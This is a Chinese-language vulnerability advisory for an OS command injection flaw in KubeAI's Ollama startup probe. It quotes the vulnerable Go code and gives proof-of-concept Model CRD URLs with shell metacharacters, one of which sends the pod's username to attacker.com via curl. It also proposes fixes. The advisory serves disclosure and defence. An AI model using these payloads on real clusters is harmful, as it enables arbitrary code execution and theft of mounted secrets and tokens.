严重性:高(CVSS 8.7)
CWE:CWE-78 — OS 命令中使用的特殊元素未进行适当中和
受影响范围:github.com/kubeai-project/kubeai <= 提交 ba1824e
公告:GHSA
NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-34940
KubeAI 通过 Go 中的 fmt.Sprintf 将 Model CRD URL 组件(ref、modelParam)插入到 bash -c 命令中,从而构建 Kubernetes 启动探针 shell 脚本。URL 中的 shell 元字符未经过净化,使得任何拥有 Model CRD 创建/更新 RBAC 权限的用户都能在模型服务器 Pod 内执行任意命令——无需集群管理员权限。
我在研究 Kubernetes AI 推理运算符——这些工具允许你通过创建 CRD 将 LLM 部署为 K8s 工作负载。KubeAI 支持 Ollama、vLLM 和其他引擎。我的假设是:如果用户能够创建 Model CRD,他们能否影响模型 Pod 内运行的内容?
vLLM 引擎代码立即展示了正确的模式:参数以字符串数组形式传递给 exec,不涉及 shell。因此我查看了 Ollama 引擎进行对比——并发现了 fmt.Sprintf("%s %s", pullCmd, u.ref) 被输入到 bash -c 中。典型的 shell 注入设置。
URL 解析器正则表达式 [^?]+(除 ? 外的所有字符)是决定性因素:分号、反引号、$() 在 u.ref 中都是有效的。我编写了 PoC YAML,应用它,并观察到 id > /tmp/pwned 在模型 Pod 内执行。
使此漏洞升级的关键细节:在多租户 K8s 集群中,Model CRD RBAC 通常授予那些明确不是集群管理员的团队。这为受限租户提供了一条直接路径,使其能够在模型 Pod 中执行任意代码——包括访问挂载的密钥和服务账户令牌。它跨越了 K8s RBAC 本应强制执行的权限边界。
文件:internal/modelcontroller/engine_ollama.go,第 185–196 行
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref 和 u.modelParam 来自 Model CRD URL 字段——用户可控
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref:无净化
)
// ...
}
该字符串随后按以下方式执行:
Command: []string{"bash", "-c", startupProbeScript}
URL 解析器(model_source.go):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// 捕获组 2 ([^?]+) 允许除 '?' 外的任何字符
// Shell 元字符 ; | $() ` 均有效
与 vLLM 引擎的对比(安全):
// engine_vllm.go — 参数以数组形式传递,不涉及 shell
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
Ollama 引擎走了一条捷径:它将多步骤 shell 管道构建为字符串并传递给 bash -c。vLLM 引擎使用 exec 风格的参数数组。没有准入 Webhook 或 CRD 模式验证将 URL 字段限制为安全字符。
参见 poc.yaml — 在运行 KubeAI 且使用 Ollama 模型的集群上执行 kubectl apply -f poc.yaml 应用。
向量 1 — ollama:// URL ref(分号注入):
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
生成的启动探针:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
id>/tmp/pwned 执行并将 uid=0(root)... 写入 Pod 内的 /tmp/pwned。
向量 2 — ?model= 查询参数(OOB 数据外泄):
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
生成的探针:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
将 Pod 的用户名外泄到攻击者控制的服务器。
Model CRD RBAC 权限的用户都可在模型服务器 Pod 中执行任意命令将 bash -c <string> 替换为以数组形式传递参数的 exec 风格探针(如 vLLM 引擎已采用的方式),或在插值前使用 ^[a-zA-Z0-9._:/-]+$ 验证 URL 字段。